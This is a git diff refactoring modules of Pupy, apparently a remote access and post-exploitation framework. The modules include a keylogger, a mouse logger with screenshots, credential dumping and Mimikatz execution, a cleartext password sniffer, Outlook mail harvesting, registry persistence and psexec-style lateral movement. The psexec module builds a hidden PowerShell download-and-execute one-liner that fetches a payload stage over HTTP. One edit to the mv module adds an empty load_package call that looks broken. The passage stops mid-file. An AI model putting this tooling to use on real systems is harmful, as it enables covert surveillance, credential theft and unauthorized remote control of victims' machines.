diff --git a/pupy/modules/cat.py b/pupy/modules/cat.py index 383404e4..c65313e3 100644 --- a/pupy/modules/cat.py +++ b/pupy/modules/cat.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * __class_name__="cat" @@ -7,13 +7,13 @@ __class_name__="cat" class cat(PupyModule): """ show contents of a file """ is_module=False + dependencies = [ 'pupyutils.basic_cmds' ] def init_argparse(self): - self.arg_parser = PupyArgumentParser(prog="cat", description=self.__doc__) + self.arg_parser = PupyArgumentParser(prog="cat", description=self.__doc__) self.arg_parser.add_argument('path', type=str, action='store') def run(self, args): - self.client.load_package("pupyutils.basic_cmds") - r=self.client.conn.modules["pupyutils.basic_cmds"].cat(args.path) + r = self.client.conn.modules["pupyutils.basic_cmds"].cat(args.path) if r: self.log(r) diff --git a/pupy/modules/cd.py b/pupy/modules/cd.py index 2fb8f425..9f4fbede 100644 --- a/pupy/modules/cd.py +++ b/pupy/modules/cd.py @@ -8,12 +8,13 @@ class cd(PupyModule): """ change directory """ is_module=False + dependencies = ['pupyutils.basic_cmds'] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="cd", description=self.__doc__) self.arg_parser.add_argument('path', type=str, nargs='?', help='path of a specific directory') def run(self, args): - self.client.load_package("pupyutils.basic_cmds") - r=self.client.conn.modules["pupyutils.basic_cmds"].cd(args.path) + r = self.client.conn.modules["pupyutils.basic_cmds"].cd(args.path) if r: self.log(r) diff --git a/pupy/modules/check_vm.py b/pupy/modules/check_vm.py index 294483d6..20954a78 100644 --- a/pupy/modules/check_vm.py +++ b/pupy/modules/check_vm.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * import os from modules.lib.windows.powershell_upload import execute_powershell_script @@ -9,7 +9,11 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..")) @config(category="gather") class CheckVM(PupyModule): """ check if running on Virtual Machine """ - + + dependencies = { + 'linux': ['checkvm'] + } + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="CheckVM", description=self.__doc__) @@ -23,7 +27,6 @@ class CheckVM(PupyModule): else: self.success("No virtual machine detected") elif self.client.is_linux(): - self.client.load_package("checkvm") vm = self.client.conn.modules["checkvm"].checkvm() if vm: self.success('This appears to be a %s virtual machine' % vm) diff --git a/pupy/modules/cp.py b/pupy/modules/cp.py index d2637067..4ae21387 100644 --- a/pupy/modules/cp.py +++ b/pupy/modules/cp.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * __class_name__="cp" @@ -8,13 +8,14 @@ class cp(PupyModule): """ copy file or directory """ is_module=False + dependencies = [ 'pupyutils.basic_cmds' ] + def init_argparse(self): - self.arg_parser = PupyArgumentParser(prog="cp", description=self.__doc__) + self.arg_parser = PupyArgumentParser(prog="cp", description=self.__doc__) self.arg_parser.add_argument('src', type=str, action='store') self.arg_parser.add_argument('dst', type=str, action='store') def run(self, args): - self.client.load_package("pupyutils.basic_cmds") - r=self.client.conn.modules["pupyutils.basic_cmds"].cp(args.src, args.dst) + r = self.client.conn.modules["pupyutils.basic_cmds"].cp(args.src, args.dst) if r: self.log(r) diff --git a/pupy/modules/creddump.py b/pupy/modules/creddump.py index 4221159e..45f2c626 100644 --- a/pupy/modules/creddump.py +++ b/pupy/modules/creddump.py @@ -37,9 +37,12 @@ __class_name__="CredDump" @config(cat="creds", compatibilities=['windows', 'linux', 'darwin'], tags=['creds', 'credentials', 'password', 'gather', 'hives']) class CredDump(PupyModule): - """ download the hives from a remote windows system and dump creds """ + dependencies = { + 'linux': [ 'pupyutils.safepopen' ] + } + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='hive', description=self.__doc__) @@ -112,7 +115,6 @@ class CredDump(PupyModule): except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) - self.client.load_package('pupyutils.safepopen') sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen try: diff --git a/pupy/modules/dns.py b/pupy/modules/dns.py index 89a7c669..07d73000 100644 --- a/pupy/modules/dns.py +++ b/pupy/modules/dns.py @@ -7,12 +7,13 @@ __class_name__="DNS" class DNS(PupyModule): """ retrieve domain name from IP and vice versa """ + dependencies = [ 'pupyutils.dns' ] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="dns", description=self.__doc__) self.arg_parser.add_argument('ip_or_domain', type=str, help='Domain name or IP address') def run(self, args): - self.client.load_package("pupyutils.dns") functions = self.client.conn.modules["pupyutils.dns"].launch_dns_ip_resolver(args.ip_or_domain) for function in functions: if functions[function]['result']: diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py index 65bbd24f..4c5fb7bc 100644 --- a/pupy/modules/get_info.py +++ b/pupy/modules/get_info.py @@ -33,7 +33,6 @@ class GetInfo(PupyModule): infos.append((k,self.client.desc[k])) if self.client.is_windows(): - self.client.load_package("pupwinutils.security") for k in windKeys: infos.append((k,self.client.desc[k])) diff --git a/pupy/modules/getdomain.py b/pupy/modules/getdomain.py index a6712b73..0037f657 100644 --- a/pupy/modules/getdomain.py +++ b/pupy/modules/getdomain.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * __class_name__="GetDomain" @@ -7,11 +7,12 @@ __class_name__="GetDomain" class GetDomain(PupyModule): """ Get primary domain controller """ + dependencies = [ 'pupwinutils.getdomain' ] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="getdomain", description=self.__doc__) def run(self, args): - self.client.load_package("pupwinutils.getdomain") primary_domain = self.client.conn.modules["pupwinutils.getdomain"].get_domain_controller() if not primary_domain: self.error("This host is not part of a domain.") diff --git a/pupy/modules/getpid.py b/pupy/modules/getpid.py index 615e611a..f0bd1209 100644 --- a/pupy/modules/getpid.py +++ b/pupy/modules/getpid.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * from pupylib.utils.rpyc_utils import obtain from modules.lib.utils.shell_exec import shell_exec @@ -9,13 +9,15 @@ __class_name__="PsModule" @config(cat="admin") class PsModule(PupyModule): """ list process information """ + dependencies = { + 'windows': [ 'pupwinutils.processes' ] + } def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="getpid", description=self.__doc__) def run(self, args): if self.client.is_windows(): - self.client.load_package("pupwinutils.processes") outputlist=self.client.conn.modules["pupwinutils.processes"].get_current_pid() outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster for out in outputlist: diff --git a/pupy/modules/getppid.py b/pupy/modules/getppid.py index f28f0f77..e68d88bc 100644 --- a/pupy/modules/getppid.py +++ b/pupy/modules/getppid.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * from pupylib.utils.rpyc_utils import obtain from modules.lib.utils.shell_exec import shell_exec @@ -10,12 +10,15 @@ __class_name__="PsModule" class PsModule(PupyModule): """ list parent process information """ + dependencies = { + 'windows': [ 'pupwinutils.processes' ] + } + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="getppid", description=self.__doc__) def run(self, args): if self.client.is_windows(): - self.client.load_package("pupwinutils.processes") outputlist=self.client.conn.modules["pupwinutils.processes"].get_current_ppid() outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster for out in outputlist: diff --git a/pupy/modules/getuid.py b/pupy/modules/getuid.py index c5a101db..1ab692f6 100644 --- a/pupy/modules/getuid.py +++ b/pupy/modules/getuid.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * __class_name__="getuid" @@ -7,11 +7,10 @@ __class_name__="getuid" class getuid(PupyModule): """ get username """ is_module=False + dependencies = [ 'pupyutils.basic_cmds' ] def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="getuid", description=self.__doc__) def run(self, args): - self.client.load_package("pupyutils.basic_cmds") self.success(self.client.conn.modules["pupyutils.basic_cmds"].getuid()) - diff --git a/pupy/modules/interactive_shell.py b/pupy/modules/interactive_shell.py index e0b28410..626642e0 100644 --- a/pupy/modules/interactive_shell.py +++ b/pupy/modules/interactive_shell.py @@ -96,6 +96,11 @@ class InteractiveShell(PupyModule): pipe = None complete = Event() + dependencies = { + 'windows': [ 'winpty.dll', 'winpty' ], + 'all': [ 'ptyshell' ], + } + def __init__(self, *args, **kwargs): PupyModule.__init__(self,*args, **kwargs) self.set_pty_size=None @@ -225,12 +230,6 @@ class InteractiveShell(PupyModule): sys.stdout.write('\r\nPress Enter to close to REPL\r\n') def raw_pty(self, args): - if self.client.is_windows(): - self.client.load_dll('winpty.dll') - self.client.load_package('winpty') - - self.client.load_package("ptyshell") - ps = self.client.conn.modules['ptyshell'].PtyShell() program = None diff --git a/pupy/modules/keylogger.py b/pupy/modules/keylogger.py index ebbff788..ceee473c 100644 --- a/pupy/modules/keylogger.py +++ b/pupy/modules/keylogger.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * import StringIO import SocketServer @@ -16,26 +16,26 @@ __class_name__="KeyloggerModule" @config(cat="gather", compat=["linux", "darwin", "windows"]) class KeyloggerModule(PupyModule): - """ + """ A keylogger to monitor all keyboards interaction including the clipboard :-) The clipboard is also monitored and the dump includes the window name in which the keys are beeing typed """ #max_clients=1 - daemon=True - unique_instance=True + daemon = True + unique_instance = True + dependencies = { + 'windows': [ 'pupwinutils.keylogger' ], + 'linux': [ 'keylogger' ], + } + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='keylogger', description=self.__doc__) self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump']) def stop_daemon(self): self.success("keylogger stopped") - - def run(self, args): - if self.client.is_windows(): - self.client.load_package("pupwinutils.keylogger") - else: - self.client.load_package("keylogger") + def run(self, args): if args.action=="start": if self.client.is_windows(): with redirected_stdio(self.client.conn): #to see the output exception in case of error @@ -69,7 +69,7 @@ class KeyloggerModule(PupyModule): os.makedirs(os.path.join("data","keystrokes")) except Exception: pass - + if self.client.is_windows(): data=self.client.conn.modules["pupwinutils.keylogger"].keylogger_dump() elif self.client.is_linux(): diff --git a/pupy/modules/ls.py b/pupy/modules/ls.py index 05131403..10521237 100644 --- a/pupy/modules/ls.py +++ b/pupy/modules/ls.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * __class_name__="ls" @@ -8,15 +8,14 @@ class ls(PupyModule): """ list system files """ is_module=False + dependencies = [ 'pupyutils.basic_cmds', 'scandir' ] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="ls", description=self.__doc__) self.arg_parser.add_argument('path', type=str, nargs='?', help='path of a specific file') def run(self, args): - self.client.load_package("pupyutils.basic_cmds") - self.client.load_package("scandir") info, r = self.client.conn.modules["pupyutils.basic_cmds"].ls(args.path) if r: self.success(info) self.log(r) - diff --git a/pupy/modules/mimikatz_powershell.py b/pupy/modules/mimikatz_powershell.py index dca3b621..437e66a6 100644 --- a/pupy/modules/mimikatz_powershell.py +++ b/pupy/modules/mimikatz_powershell.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * import os import re @@ -10,10 +10,12 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..")) @config(compat="windows", category="creds") class Mimikatz_Powershell(PupyModule): - """ + """ execute mimikatz using powershell """ - + + dependencies = ['pupwinutils.wdigest'] + def init_argparse(self): commands_available = ''' @@ -27,12 +29,11 @@ Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" self.arg_parser.add_argument("-o", metavar='COMMAND', dest='command', default='Invoke-Mimikatz', help='command not needed') def run(self, args): - + # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz. if args.wdigest: - self.client.load_package("pupwinutils.wdigest") ok, message = self.client.conn.modules["pupwinutils.wdigest"].wdigest(args.wdigest) - if ok: + if ok: self.success(message) else: self.warning(str(message)) @@ -52,7 +53,7 @@ Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" self.error("Error running mimikatz. Enough privilege ?") return self.success("%s" % output) - + creds = self.parse_mimikatz(output) db = Credentials() db.add(creds) @@ -96,7 +97,7 @@ Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" lines2 = match.split("\n") username, domain, password = "", "", "" - + for line in lines2: try: if "Username" in line: @@ -110,7 +111,7 @@ Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" if password: if username != "" and password != "" and password != "(null)": - + sid = "" # substitute the FQDN in if it matches @@ -141,7 +142,7 @@ Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" if store: creds.append(result) username, domain, password = "", "", "" - + if len(creds) == 0: # check if we have lsadump output to check for krbtgt # happens on domain controller hashdumps diff --git a/pupy/modules/mkdir.py b/pupy/modules/mkdir.py index daa72fa8..c84d40bb 100644 --- a/pupy/modules/mkdir.py +++ b/pupy/modules/mkdir.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * __class_name__="mkdir" @@ -6,14 +6,15 @@ __class_name__="mkdir" @config(cat="admin") class mkdir(PupyModule): """ create an empty directory """ + is_module=False + dependencies = [ 'pupyutils.basic_cmds' ] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="mkdir", description=self.__doc__) self.arg_parser.add_argument('dir', type=str, help='directory name') def run(self, args): - self.client.load_package("pupyutils.basic_cmds") - r=self.client.conn.modules["pupyutils.basic_cmds"].mkdir(args.dir) + r = self.client.conn.modules["pupyutils.basic_cmds"].mkdir(args.dir) if r: self.log(r) - diff --git a/pupy/modules/mouselogger.py b/pupy/modules/mouselogger.py index 11756d30..6bd751cc 100644 --- a/pupy/modules/mouselogger.py +++ b/pupy/modules/mouselogger.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # All rights reserved. @@ -26,8 +26,9 @@ class MouseLoggerModule(PupyModule): """ log mouse clicks and take screenshots of areas around it """ # WARNING : screenshots are kept in memory before beeing dumped #TODO change that and add a callback to automatically send back screenshots without need for dumping - daemon=True - unique_instance=True + daemon = True + unique_instance = True + dependencies = [ 'pupwinutils.mouselogger' ] def __init__(self, *args, **kwargs): PupyModule.__init__(self, *args, **kwargs) @@ -39,14 +40,13 @@ class MouseLoggerModule(PupyModule): def stop_daemon(self): self.success("mouselogger stopped") - + def run(self, args): try: os.makedirs(os.path.join("data","mouselogger")) except Exception: pass if args.action=="start": - self.client.load_package("pupwinutils.mouselogger") if self.mouselogger: self.error("the mouselogger is already started") else: @@ -76,6 +76,3 @@ class MouseLoggerModule(PupyModule): elif args.action=="stop": self.mouselogger.stop() self.job.stop() - - - diff --git a/pupy/modules/mv.py b/pupy/modules/mv.py index 9923c84f..4f6b2f68 100644 --- a/pupy/modules/mv.py +++ b/pupy/modules/mv.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * __class_name__="mv" @@ -6,15 +6,17 @@ __class_name__="mv" @config(cat="admin") class mv(PupyModule): """ move file or directory """ - is_module=False + is_module = False + + dependencies = [ 'pupyutils.basic_cmds' ] def init_argparse(self): - self.arg_parser = PupyArgumentParser(prog="mv", description=self.__doc__) + self.arg_parser = PupyArgumentParser(prog="mv", description=self.__doc__) self.arg_parser.add_argument('src', type=str, action='store') self.arg_parser.add_argument('dst', type=str, action='store') def run(self, args): - self.client.load_package("pupyutils.basic_cmds") - r=self.client.conn.modules["pupyutils.basic_cmds"].mv(args.src, args.dst) + self.client.load_package("") + r = self.client.conn.modules["pupyutils.basic_cmds"].mv(args.src, args.dst) if r: self.log(r) diff --git a/pupy/modules/netcreds.py b/pupy/modules/netcreds.py index b6c0e971..f0908d5f 100644 --- a/pupy/modules/netcreds.py +++ b/pupy/modules/netcreds.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- # Thanks to Dan McInerney for its net-creds project # Github: https://github.com/DanMcInerney/net-creds from pupylib.PupyModule import * @@ -10,12 +10,12 @@ __class_name__="NetCreds" @config(cat="gather", compat=["linux", "windows"]) class NetCreds(PupyModule): - """ + """ Sniffs cleartext passwords from interface """ - daemon=True - unique_instance=True - dependencies=['scapy', 'gzip', 'BaseHTTPServer'] + daemon = True + unique_instance = True + dependencies=[ 'scapy', 'gzip', 'BaseHTTPServer', 'pupyutils.netcreds' ] def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='netcreds', description=self.__doc__) @@ -24,8 +24,6 @@ class NetCreds(PupyModule): self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump']) def run(self, args): - self.client.load_package("pupyutils.netcreds") - if args.action=="start": with redirected_stdio(self.client.conn): #to see the output exception in case of error r = self.client.conn.modules["pupyutils.netcreds"].netcreds_start(args.interface, args.filterip) @@ -43,7 +41,7 @@ class NetCreds(PupyModule): pass data=self.client.conn.modules["pupyutils.netcreds"].netcreds_dump() - + if data is None: self.error("Network credentials sniffer has not been started yet") elif not data: diff --git a/pupy/modules/outlook.py b/pupy/modules/outlook.py index 377a8d1e..08aec974 100644 --- a/pupy/modules/outlook.py +++ b/pupy/modules/outlook.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- #Author: @bobsecq #Contributor(s): @@ -13,11 +13,11 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) @config(compat="windows", category="gather") class Outlook(PupyModule): """ interact with Outlook session of the targeted user """ - dependencies=["win32api","win32com","pythoncom","winerror"] - + dependencies=['outlook', 'win32api','win32com','pythoncom','winerror'] + OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5} - + def init_argparse(self): ''' ''' @@ -37,7 +37,6 @@ class Outlook(PupyModule): def run(self, args): ''' ''' - self.client.load_package("outlook") localFolder=args.localOutputFolder self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'], self.client.desc['user'], self.client.desc['macaddr'].replace(':',''))) if not os.path.exists(self.localFolder): diff --git a/pupy/modules/persistence.py b/pupy/modules/persistence.py index 3bb55a04..cd49c195 100644 --- a/pupy/modules/persistence.py +++ b/pupy/modules/persistence.py @@ -27,6 +27,12 @@ __class_name__="PersistenceModule" @config(cat="manage", compat=['linux', 'windows']) class PersistenceModule(PupyModule): """ Enables persistence via registry keys """ + + dependencies = { + 'linux': [ 'persistence' ], + 'windows': [ 'pupwinutils.persistence' ] + } + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__) self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency', completer=path_completer) @@ -38,7 +44,6 @@ class PersistenceModule(PupyModule): self.linux(args) def linux(self, args): - self.client.load_package('persistence') manager = self.client.conn.modules['persistence'].DropManager() self.info('Available methods: {}'.format(manager.methods)) payload = get_payload(self, compressed=False) @@ -65,7 +70,6 @@ class PersistenceModule(PupyModule): else: exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf()) - self.client.load_package("pupwinutils.persistence") remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]))) self.info("uploading to %s ..."%remote_path) #uploading diff --git a/pupy/modules/ps.py b/pupy/modules/ps.py index 3d07cdff..60be0114 100644 --- a/pupy/modules/ps.py +++ b/pupy/modules/ps.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * from pupylib.utils.rpyc_utils import obtain from modules.lib.utils.shell_exec import shell_exec @@ -9,13 +9,16 @@ __class_name__="PsModule" class PsModule(PupyModule): """ list processes """ + dependencies = { + 'windows': ['pupwinutils.processes'] + } + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="ps", description=self.__doc__) self.arg_parser.add_argument('--all', '-a', action='store_true', help='more info') def run(self, args): if self.client.is_windows(): - self.client.load_package("pupwinutils.processes") outputlist=self.client.conn.modules["pupwinutils.processes"].enum_processes() outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster columns=['username', 'pid', 'arch', 'exe'] diff --git a/pupy/modules/psexec.py b/pupy/modules/psexec.py index d95ee95a..cc390b03 100644 --- a/pupy/modules/psexec.py +++ b/pupy/modules/psexec.py @@ -1,6 +1,6 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- # Author: byt3bl33d3r and Shawn Evans -# Version used from the "rewrite" branch of smbexec written by byt3bl33d3r +# Version used from the "rewrite" branch of smbexec written by byt3bl33d3r from pupylib.PupyModule import * from pupylib.utils.rpyc_utils import redirected_stdo import pupygen @@ -21,10 +21,11 @@ __class_name__="PSExec" @config(cat="admin") class PSExec(PupyModule): """ Launch remote commands using smbexec or wmiexec""" - max_clients=1 + max_clients = 1 + dependencies = [ 'impacket', 'ntpath', 'calendar', 'pupyutils.psexec' ] def init_argparse(self): - + self.arg_parser = PupyArgumentParser(prog="psexec", description=self.__doc__) self.arg_parser.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed") self.arg_parser.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password") @@ -43,7 +44,7 @@ class PSExec(PupyModule): sgroupp.add_argument('--ps1-port', default=8080, type=int, help="Custom port used by the listening server (used with --ps1-oneliner, default: 8080)") sgroupp.add_argument("--ps1", action='store_true', default=False, help="Upload and execute a powershell file to get a pupy session") sgroupp.add_argument("--file", dest="file", default=None, help="Upload and execute an exe file") - + def run(self, args): if "/" in args.target[0]: @@ -51,13 +52,13 @@ class PSExec(PupyModule): else: hosts = list() hosts.append(args.target[0]) - + ext = '' remote_path = '' dst_folder = '' file_to_upload = [] if args.file or args.ps1: - + tmp_dir = tempfile.gettempdir() if self.client.is_windows(): @@ -65,7 +66,7 @@ class PSExec(PupyModule): else: remote_path = '/tmp/' - # write on the temp directory + # write on the temp directory if args.share == 'C$': dst_folder = "C:\\Windows\\TEMP\\" # write on the root directory @@ -98,7 +99,7 @@ class PSExec(PupyModule): launcher = create_ps_command(launcher, force_ps32=True, nothidden=False) open(tmp_dir + os.sep + first_stage, 'w').write(launcher) self.success('first stage created: %s' % tmp_dir + os.sep + first_stage) - + command = getInvokeReflectivePEInjectionWithDLLEmbedded(self.client.get_conf()) open(tmp_dir + os.sep + second_stage, 'w').write(command) self.success('second stage created: %s' % tmp_dir + os.sep + second_stage) @@ -119,27 +120,21 @@ class PSExec(PupyModule): self.warning('starting the local server') process = Popen(cmd.split(' '), stdout=PIPE, stderr=PIPE, stdin=PIPE) time.sleep(2) - + # check if the server has been launched corretly if process.poll(): self.error('the server has not been launched, check if the port %s or if the file %s/pupygen.py exists' % (str(args.ps1_port), os.getcwd())) return - + self.success('server started (pid: %s)' % process.pid) args.command = 'powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString(\'http://%s:%s/eiloShaegae1\')"' % (ip, str(args.ps1_port)) - self.info("Loading dependencies") - self.client.load_package("impacket") - self.client.load_package('ntpath') - self.client.load_package("calendar") - self.client.load_package("pupyutils.psexec") - with redirected_stdo(self.client.conn): for host in hosts: self.info("Connecting to the remote host: %s" % host) self.client.conn.modules["pupyutils.psexec"].connect(host, args.port, args.user, args.passwd, args.hash, args.share, file_to_upload, remote_path, dst_folder, args.command, args.domain, args.execm) - if args.ps1_oneliner: + if args.ps1_oneliner: self.warning('stopping the local server (pid: %s)' % process.pid) process.terminate() diff --git a/pupy/modules/rdp.py b/pupy/modules/rdp.py index 94036418..d22ed3c2 100644 --- a/pupy/modules/rdp.py +++ b/pupy/modules/rdp.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * from pupylib.utils.rpyc_utils import redirected_stdio from netaddr import * @@ -9,6 +9,13 @@ __class_name__="Rdp" class Rdp(PupyModule): """ Enable / Disable rdp connection or check for valid credentials on a remote host """ + dependencies = { + 'windows': [ 'pupwinutils.rdp' ], + 'all': [ + 'pupyutils.rdp_check', 'impacket', 'calendar', 'OpenSSL' + ] + } + def init_argparse(self): example = 'Examples:\n' @@ -34,7 +41,6 @@ class Rdp(PupyModule): remote.add_argument('-H', dest='hashes', help='NTLM hashes used for checking RDP connection') def run(self, args): - # TO DO: enable multi RDP session, see MIMIKATZ for example if args.local: @@ -42,9 +48,7 @@ class Rdp(PupyModule): if not self.client.is_windows(): self.error("This option could be used only on windows hosts") return - - self.client.load_package("pupwinutils.rdp") - + # check if admin if not self.client.conn.modules["pupwinutils.rdp"].check_if_admin(): self.error("Admin privileges are required") @@ -63,10 +67,8 @@ class Rdp(PupyModule): hosts = list() hosts.append(args.target) - self.client.load_package("pupyutils.rdp_check") - self.client.load_package("impacket") - self.client.load_package("calendar") - self.client.load_package("OpenSSL") for host in hosts: with redirected_stdio(self.client.conn): - self.client.conn.modules["pupyutils.rdp_check"].check_rdp(host, args.username, args.password, args.domain, args.hashes) + self.client.conn.modules["pupyutils.rdp_check"].check_rdp( + host, args.username, args.password, args.domain, args.hashes + ) diff --git a/pupy/modules/rm.py b/pupy/modules/rm.py index 03437fd6..1e718807 100644 --- a/pupy/modules/rm.py +++ b/pupy/modules/rm.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * __class_name__="rm" @@ -6,13 +6,14 @@ __class_name__="rm" @config(cat="admin") class rm(PupyModule): """ remove a file or a directory """ - is_module=False + is_module = False + dependencies = ['pupyutils.basic_cmds'] + def init_argparse(self): - self.arg_parser = PupyArgumentParser(prog="rm", description=self.__doc__) + self.arg_parser = PupyArgumentParser(prog="rm", description=self.__doc__) self.arg_parser.add_argument('path', type=str, action='store') def run(self, args): - self.client.load_package("pupyutils.basic_cmds") - r=self.client.conn.modules["pupyutils.basic_cmds"].rm(args.path) + r = self.client.conn.modules["pupyutils.basic_cmds"].rm(args.path) if r: self.log(r) diff --git a/pupy/modules/search.py b/pupy/modules/search.py index 51c1d169..4d20f5d1 100644 --- a/pupy/modules/search.py +++ b/pupy/modules/search.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * import os from pupylib.utils.term import colorize @@ -8,7 +8,9 @@ __class_name__="SearchModule" @config(cat="gather") class SearchModule(PupyModule): """ walk through a directory and recursively search a string into files """ - daemon=True + daemon = True + dependencies = [ 'pupyutils.search', 'scandir' ] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="search", description=self.__doc__) self.arg_parser.add_argument('--path', default='.', help='root path to start (default: current path)') @@ -18,14 +20,11 @@ class SearchModule(PupyModule): self.arg_parser.add_argument('--content', action='store_true', help='check inside files (such as grep)') def run(self, args): - self.client.load_package("pupyutils.search", force=True) - self.client.load_package("scandir") - if args.extensions: args.extensions = tuple(f.strip() for f in args.extensions.split(',')) # if not extension is provided for find commad, try to extract it to gain time during the research elif not args.content: - args.extensions = tuple(os.path.splitext(s)[1].strip() for s in args.strings) + args.extensions = tuple(os.path.splitext(s)[1].strip() for s in args.strings) search_str = [s.lower() for s in args.strings] @@ -37,4 +36,4 @@ class SearchModule(PupyModule): if s in res: res = res.replace(s, colorize(s,"green")) self.success("%s" % res) - self.info("search finished !") \ No newline at end of file + self.info("search finished !") diff --git a/pupy/modules/shares.py b/pupy/modules/shares.py index b671dbdc..cac892f6 100644 --- a/pupy/modules/shares.py +++ b/pupy/modules/shares.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * from netaddr import * @@ -8,6 +8,16 @@ __class_name__="Shares" class Shares(PupyModule): """ List local and remote shared folder and permission """ + dependencies = { + 'windows': [ + 'win32api', 'win32com', 'pythoncom', + 'winerror', 'wmi', 'pupwinutils.drives', + ], + 'all': [ + 'impacket', 'calendar', 'pupyutils.share_enum' + ] + } + def init_argparse(self): example = 'Examples:\n' example += '>> run shares local\n' @@ -35,15 +45,7 @@ class Shares(PupyModule): try: if args.local: if self.client.is_windows(): - self.client.load_package("win32api") - self.client.load_package("win32com") - self.client.load_package("pythoncom") - self.client.load_package("winerror") - self.client.load_package("wmi") - self.client.load_package("pupwinutils.drives") - print self.client.conn.modules['pupwinutils.drives'].shared_folders() - else: self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1') return @@ -63,9 +65,6 @@ class Shares(PupyModule): print hosts - self.client.load_package("impacket") - self.client.load_package("calendar") - self.client.load_package("pupyutils.share_enum") for host in hosts: self.info("Connecting to the remote host: %s" % host) print self.client.conn.modules["pupyutils.share_enum"].connect( diff --git a/pupy/modules/shellcode_exec.py b/pupy/modules/shellcode_exec.py index 0ba59ad9..b0ed5bfd 100644 --- a/pupy/modules/shellcode_exec.py +++ b/pupy/modules/shellcode_exec.py @@ -1,8 +1,8 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- ''' Module by @byt3bl33d3r -''' +''' from pupylib.PupyModule import * @@ -12,12 +12,13 @@ __class_name__="ShellcodeExec" class 